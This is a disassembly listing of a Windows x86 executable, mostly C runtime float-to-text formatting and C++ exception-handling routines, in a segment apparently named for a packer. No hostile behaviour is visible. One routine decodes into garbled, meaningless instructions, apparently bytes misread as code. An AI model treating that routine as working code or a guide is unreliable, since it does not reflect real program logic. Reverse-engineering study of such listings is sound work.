fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_416595
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4166CE: ; CODE XREF: sub_416618+1Bj
; sub_416618+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_416618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166D9 proc near ; CODE XREF: sub_415FB9+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4166D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166E7 proc near ; CODE XREF: sub_415FB9+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4166E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166F6 proc near ; CODE XREF: sub_412842+13p
; sub_412842+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4166F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416719 proc near ; CODE XREF: sub_41626C+1Dp
; sub_41626C+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_416730
fld tbyte_4317D0
fistp [ebp+arg_0]
wait
loc_416730: ; CODE XREF: sub_416719+Bj
test cl, 8
jz short loc_416745
fstsw ax
fld tbyte_4317D0
fstp [ebp+var_8]
wait
fstsw ax
loc_416745: ; CODE XREF: sub_416719+1Aj
test cl, 10h
jz short loc_416754
fld tbyte_4317DC
fstp [ebp+var_8]
wait
loc_416754: ; CODE XREF: sub_416719+2Fj
test cl, 4
jz short loc_416762
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_416762: ; CODE XREF: sub_416719+3Ej
test cl, 20h
jz short locret_41676D
fldpi
fstp [ebp+var_8]
wait
locret_41676D: ; CODE XREF: sub_416719+4Cj
leave
retn
sub_416719 endp
; =============== S U B R O U T I N E =======================================
sub_41676F proc near ; CODE XREF: sub_412911+Fp
push 30000h
push 10000h
call sub_41A118
pop ecx
pop ecx
retn
sub_41676F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416781 proc near ; CODE XREF: sub_4167BF:loc_4167E3j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_41D7B8
fstp [ebp+var_8]
fld dbl_41D7B0
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_41D668
fnstsw ax
sahf
jbe short loc_4167BB
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4167BB: ; CODE XREF: sub_416781+33j
xor eax, eax
leave
retn
sub_416781 endp
; =============== S U B R O U T I N E =======================================
sub_4167BF proc near ; CODE XREF: sub_412911+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 0AB0000h
rol dword ptr [ebp+681574C0h], cl
rcl bh, 41h
add [eax-1], dl
adc eax, offset dword_41D0B4
test eax, eax
jz short loc_4167E3
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_4167E3: ; CODE XREF: sub_4167BF+1Dj
jmp sub_416781
sub_4167BF endp
; =============== S U B R O U T I N E =======================================
sub_4167E8 proc near ; DATA XREF: sub_412929+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_413A37
cmp eax, 65h
pop ecx
jz short loc_416828
loc_4167FC: ; CODE XREF: sub_4167E8+3Ej
inc esi
cmp dword_4316BC, 1
jle short loc_416815
movsx eax, byte ptr [esi]
push 4
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_416824
; ---------------------------------------------------------------------------
loc_416815: ; CODE XREF: sub_4167E8+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_4314B0
mov al, [ecx+eax*2]
and eax, 4
loc_416824: ; CODE XREF: sub_4167E8+2Bj
test eax, eax
jnz short loc_4167FC
loc_416828: ; CODE XREF: sub_4167E8+12j
mov cl, byte_4316C0
mov al, [esi]
mov [esi], cl
inc esi
loc_416833: ; CODE XREF: sub_4167E8+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_416833
pop esi
retn
sub_4167E8 endp
; ---------------------------------------------------------------------------
loc_416842: ; DATA XREF: sub_412929+5o
mov eax, [esp+4]
mov dl, byte_4316C0
mov cl, [eax]
test cl, cl
jz short loc_41685E
loc_416852: ; CODE XREF: .nsp0:0041685Cj
cmp cl, dl
jz short loc_41685E
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_416852
loc_41685E: ; CODE XREF: .nsp0:00416850j
; .nsp0:00416854j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41688F
loc_416865: ; CODE XREF: .nsp0:00416876j
mov cl, [eax]
test cl, cl
jz short loc_416878
cmp cl, 65h
jz short loc_416878
cmp cl, 45h
jz short loc_416878
inc eax
jmp short loc_416865
; ---------------------------------------------------------------------------
loc_416878: ; CODE XREF: .nsp0:00416869j
; .nsp0:0041686Ej ...
mov ecx, eax
loc_41687A: ; CODE XREF: .nsp0:0041687Ej
dec eax
cmp byte ptr [eax], 30h
jz short loc_41687A
cmp [eax], dl
jnz short loc_416885
dec eax
loc_416885: ; CODE XREF: .nsp0:00416882j
; .nsp0:0041688Dj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_416885
locret_41688F: ; CODE XREF: .nsp0:00416863j
retn
; ---------------------------------------------------------------------------
loc_416890: ; DATA XREF: sub_412929+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp dbl_41D7A8
fnstsw ax
sahf
jb short loc_4168A5
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4168A5: ; CODE XREF: .nsp0:0041689Fj
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168A8 proc near ; DATA XREF: sub_412929+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4168D1
lea eax, [ebp+var_8]
push eax
call sub_41A5DB
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4168D1: ; CODE XREF: sub_4168A8+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41A608
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_4168A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168E6 proc near ; CODE XREF: sub_416B63+17p
; sub_416BAD+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_462C30, 0
push ebx
push esi
jz short loc_41691B
mov ebx, [ebp+arg_8]
mov eax, dword_462C2C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_416BFE
pop ecx
pop ecx
jmp short loc_416953
; ---------------------------------------------------------------------------
loc_41691B: ; CODE XREF: sub_4168E6+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41A6AC
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41A635
add esp, 14h
loc_416953: ; CODE XREF: sub_4168E6+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41695F
mov byte ptr [eax], 2Dh
inc eax
loc_41695F: ; CODE XREF: sub_4168E6+73j
test ebx, ebx
jle short loc_416977
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_4316C0
mov eax, edi
pop edi
mov [eax], cl
loc_416977: ; CODE XREF: sub_4168E6+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_462C30, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_412600
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41699E
mov byte ptr [ecx], 45h
loc_41699E: ; CODE XREF: sub_4168E6+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_4169E3
mov ebx, [esi+4]
dec ebx
jns short loc_4169B2
neg ebx
mov byte ptr [ecx], 2Dh
loc_4169B2: ; CODE XREF: sub_4168E6+C5j
inc ecx
cmp ebx, 64h
jl short loc_4169C9
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4169C9: ; CODE XREF: sub_4168E6+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_4169E0
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4169E0: ; CODE XREF: sub_4168E6+E7j
add [ecx+1], bl
loc_4169E3: ; CODE XREF: sub_4168E6+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4168E6 endp
; =============== S U B R O U T I N E =======================================
sub_4169EA proc near ; CODE XREF: sub_416B8A+13p
; sub_416BAD+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_462C30, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_416A25
mov eax, dword_462C34
mov ebx, [esp+10h+arg_8]
mov esi, dword_462C2C
cmp eax, ebx
jnz short loc_416A55
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_416A55
; ---------------------------------------------------------------------------
loc_416A25: ; CODE XREF: sub_4169EA+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41A6AC
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41A635
add esp, 14h
loc_416A55: ; CODE XREF: sub_4169EA+22j
; sub_4169EA+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_416A63
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_416A63: ; CODE XREF: sub_4169EA+70j
mov eax, [esi+4]
test eax, eax
jg short loc_416A7A
push 1
push edi
call sub_416BFE
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_416A7C
; ---------------------------------------------------------------------------
loc_416A7A: ; CODE XREF: sub_4169EA+7Ej
add edi, eax
loc_416A7C: ; CODE XREF: sub_4169EA+8Ej
test ebx, ebx
jle short loc_416AC1
push 1
push edi
call sub_416BFE
mov al, byte_4316C0
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_416AC1
cmp byte_462C30, 0
jz short loc_416AA6
neg esi
jmp short loc_416AAC
; ---------------------------------------------------------------------------
loc_416AA6: ; CODE XREF: sub_4169EA+B6j
neg esi
cmp ebx, esi
jl short loc_416AAE
loc_416AAC: ; CODE XREF: sub_4169EA+BAj
mov ebx, esi
loc_416AAE: ; CODE XREF: sub_4169EA+C0j
push ebx
push edi
call sub_416BFE
push ebx
push 30h
push edi
call sub_411F70
add esp, 14h
loc_416AC1: ; CODE XREF: sub_4169EA+94j
; sub_4169EA+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4169EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AC8 proc near ; CODE XREF: sub_416BAD+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41A6AC
mov dword_462C2C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_462C34, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41A635
mov eax, dword_462C2C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_462C34, ecx
setl cl
mov byte_462C38, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_462C34, eax
jl short loc_416B4E
cmp eax, ebx
jge short loc_416B4E
test cl, cl
jz short loc_416B3F
loc_416B35: ; CODE XREF: sub_416AC8+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_416B35
and [esi-2], al
loc_416B3F: ; CODE XREF: sub_416AC8+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_416B8A
add esp, 0Ch
jmp short loc_416B5E
; ---------------------------------------------------------------------------
loc_416B4E: ; CODE XREF: sub_416AC8+63j
; sub_416AC8+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_416B63
add esp, 10h
loc_416B5E: ; CODE XREF: sub_416AC8+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416AC8 endp
; =============== S U B R O U T I N E =======================================
sub_416B63 proc near ; CODE XREF: sub_416AC8+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_462C30, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4168E6
and byte_462C30, 0
add esp, 10h
retn
sub_416B63 endp
; =============== S U B R O U T I N E =======================================
sub_416B8A proc near ; CODE XREF: sub_416AC8+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_462C30, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4169EA
and byte_462C30, 0
add esp, 0Ch
retn
sub_416B8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BAD proc near ; DATA XREF: sub_412929o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_416BE8
cmp [ebp+arg_8], 45h
jz short loc_416BE8
cmp [ebp+arg_8], 66h
jnz short loc_416BD5
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4169EA
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416BD5: ; CODE XREF: sub_416BAD+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416AC8
jmp short loc_416BF9
; ---------------------------------------------------------------------------
loc_416BE8: ; CODE XREF: sub_416BAD+7j
; sub_416BAD+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4168E6
loc_416BF9: ; CODE XREF: sub_416BAD+39j
add esp, 10h
pop ebp
retn
sub_416BAD endp
; =============== S U B R O U T I N E =======================================
sub_416BFE proc near ; CODE XREF: sub_4168E6+2Cp
; sub_4169EA+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_416C21
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_4126F0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_412E60
add esp, 10h
pop esi
loc_416C21: ; CODE XREF: sub_416BFE+7j
pop edi
retn
sub_416BFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C23 proc near ; CODE XREF: .nsp0:00412B0Cp
; sub_412B75+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_416C39
call sub_4174C2
loc_416C39: ; CODE XREF: sub_416C23+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_416C61
cmp dword ptr [esi+4], 0
jz short loc_416CB7
cmp [ebp+arg_14], 0
jnz short loc_416CB7
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_416F6A
add esp, 10h
jmp short loc_416CB7
; ---------------------------------------------------------------------------
loc_416C61: ; CODE XREF: sub_416C23+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_416CB7
cmp dword ptr [eax], 0E06D7363h
jnz short loc_416C9B
cmp [eax+14h], edi
jbe short loc_416C9B
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_416C9B
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_416CBA
; ---------------------------------------------------------------------------
loc_416C9B: ; CODE XREF: sub_416C23+4Aj
; sub_416C23+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_416CBE
add esp, 20h
loc_416CB7: ; CODE XREF: sub_416C23+23j
; sub_416C23+29j ...
push 1
pop eax
loc_416CBA: ; CODE XREF: sub_416C23+76j
pop edi
pop esi
pop ebp
retn
sub_416C23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CBE proc near ; CODE XREF: sub_416C23+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_416CDE
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_416CE3
loc_416CDE: ; CODE XREF: sub_416CBE+16j
call sub_4174C2
loc_416CE3: ; CODE XREF: sub_416CBE+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_416E3A
cmp dword ptr [esi+10h], 3
jnz short loc_416D57
cmp [esi+14h], edi
jnz short loc_416D57
cmp dword ptr [esi+1Ch], 0
jnz short loc_416D57
mov esi, dword_462C3C
test esi, esi
jz loc_416E35
mov eax, dword_462C40
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41A833
pop ecx
test eax, eax
pop ecx
jnz short loc_416D39
call sub_4174C2
loc_416D39: ; CODE XREF: sub_416CBE+74j
cmp [esi], ebx
jnz loc_416E3A
cmp dword ptr [esi+10h], 3
jnz short loc_416D57
cmp [esi+14h], edi
jnz short loc_416D57
cmp dword ptr [esi+1Ch], 0
jnz short loc_416D57
call sub_4174C2
loc_416D57: ; CODE XREF: sub_416CBE+41j
; sub_416CBE+46j ...
cmp [esi], ebx
jnz loc_416E3A
cmp dword ptr [esi+10h], 3
jnz loc_416E3A
cmp [esi+14h], edi
jnz loc_416E3A
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_412CC3
add esp, 14h
mov ebx, eax
loc_416D8E: ; CODE XREF: sub_416CBE+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_416E25
cmp [ebx], edi
jg short loc_416E1A
cmp edi, [ebx+4]
jg short loc_416E1A
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_416E17
loc_416DB3: ; CODE XREF: sub_416CBE+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_416DE4
loc_416DC5: ; CODE XREF: sub_416CBE+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_416F0D
add esp, 0Ch
test eax, eax
jnz short loc_416DF3
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_416DC5
loc_416DE4: ; CODE XREF: sub_416CBE+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_416DB3
jmp short loc_416E17
; ---------------------------------------------------------------------------
loc_416DF3: ; CODE XREF: sub_416CBE+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41701E
add esp, 2Ch
loc_416E17: ; CODE XREF: sub_416CBE+F3j
; sub_416CBE+133j
mov edi, [ebp+var_10]
loc_416E1A: ; CODE XREF: sub_416CBE+DEj
; sub_416CBE+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_416D8E
; ---------------------------------------------------------------------------
loc_416E25: ; CODE XREF: sub_416CBE+D6j
cmp [ebp+arg_14], 0
jz short loc_416E35
push 1
push esi
call sub_417393
pop ecx
pop ecx
loc_416E35: ; CODE XREF: sub_416CBE+56j
; sub_416CBE+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416E3A: ; CODE XREF: sub_416CBE+37j
; sub_416CBE+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_416E60
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_416E65
add esp, 20h
jmp short loc_416E35
; ---------------------------------------------------------------------------
loc_416E60: ; CODE XREF: sub_416CBE+180j
jmp sub_41746C
sub_416CBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E65 proc near ; CODE XREF: sub_416CBE+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_462C44, 0
push esi
push edi
jz short loc_416E96
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412B9A
add esp, 1Ch
test eax, eax
jnz short loc_416F09
loc_416E96: ; CODE XREF: sub_416E65+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_412CC3
add esp, 14h
mov esi, eax
loc_416EB2: ; CODE XREF: sub_416E65+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_416F09
cmp edi, [esi]
jl short loc_416F01
cmp edi, [esi+4]
jg short loc_416F01
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_416EDB
cmp byte ptr [ecx+8], 0
jnz short loc_416F01
loc_416EDB: ; CODE XREF: sub_416E65+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41701E
add esp, 2Ch
loc_416F01: ; CODE XREF: sub_416E65+57j
; sub_416E65+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_416EB2
; ---------------------------------------------------------------------------
loc_416F09: ; CODE XREF: sub_416E65+2Fj
; sub_416E65+53j
pop edi
pop esi
leave
retn
sub_416E65 endp
; =============== S U B R O U T I N E =======================================
sub_416F0D proc near ; CODE XREF: sub_416CBE+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_416F64
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_416F64
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_416F3E
add ecx, 8
push ecx
push edx
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_416F60
loc_416F3E: ; CODE XREF: sub_416F0D+1Fj
test byte ptr [esi], 2
jz short loc_416F48
test byte ptr [edi], 8
jz short loc_416F60
loc_416F48: ; CODE XREF: sub_416F0D+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_416F57
test byte ptr [edi], 1
jz short loc_416F60
loc_416F57: ; CODE XREF: sub_416F0D+43j
test al, 2
jz short loc_416F64
test byte ptr [edi], 2
jnz short loc_416F64
loc_416F60: ; CODE XREF: sub_416F0D+2Fj
; sub_416F0D+39j ...
xor eax, eax
jmp short loc_416F67
; ---------------------------------------------------------------------------
loc_416F64: ; CODE XREF: sub_416F0D+Bj
; sub_416F0D+14j ...
push 1
pop eax
loc_416F67: ; CODE XREF: sub_416F0D+55j
pop edi
pop esi
retn
sub_416F0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F6A proc near ; CODE XREF: sub_416C23+34p
; sub_41701E+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D7F0
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_416F9C: ; CODE XREF: sub_416F6A+8Aj
cmp esi, [ebp+arg_C]
jz short loc_416FF6
cmp esi, 0FFFFFFFFh
jle short loc_416FAB
cmp esi, [edi+4]
jl short loc_416FB0
loc_416FAB: ; CODE XREF: sub_416F6A+3Aj
call sub_4174C2
loc_416FB0: ; CODE XREF: sub_416F6A+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_416FCB
push 103h
push ebx
push eax
call sub_417420
loc_416FCB: ; CODE XREF: sub_416F6A+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_416FEB
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_417008
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_416FEB: ; CODE XREF: sub_416F6A+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_416F9C
; ---------------------------------------------------------------------------
loc_416FF6: ; CODE XREF: sub_416F6A+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_416F6A endp
; =============== S U B R O U T I N E =======================================
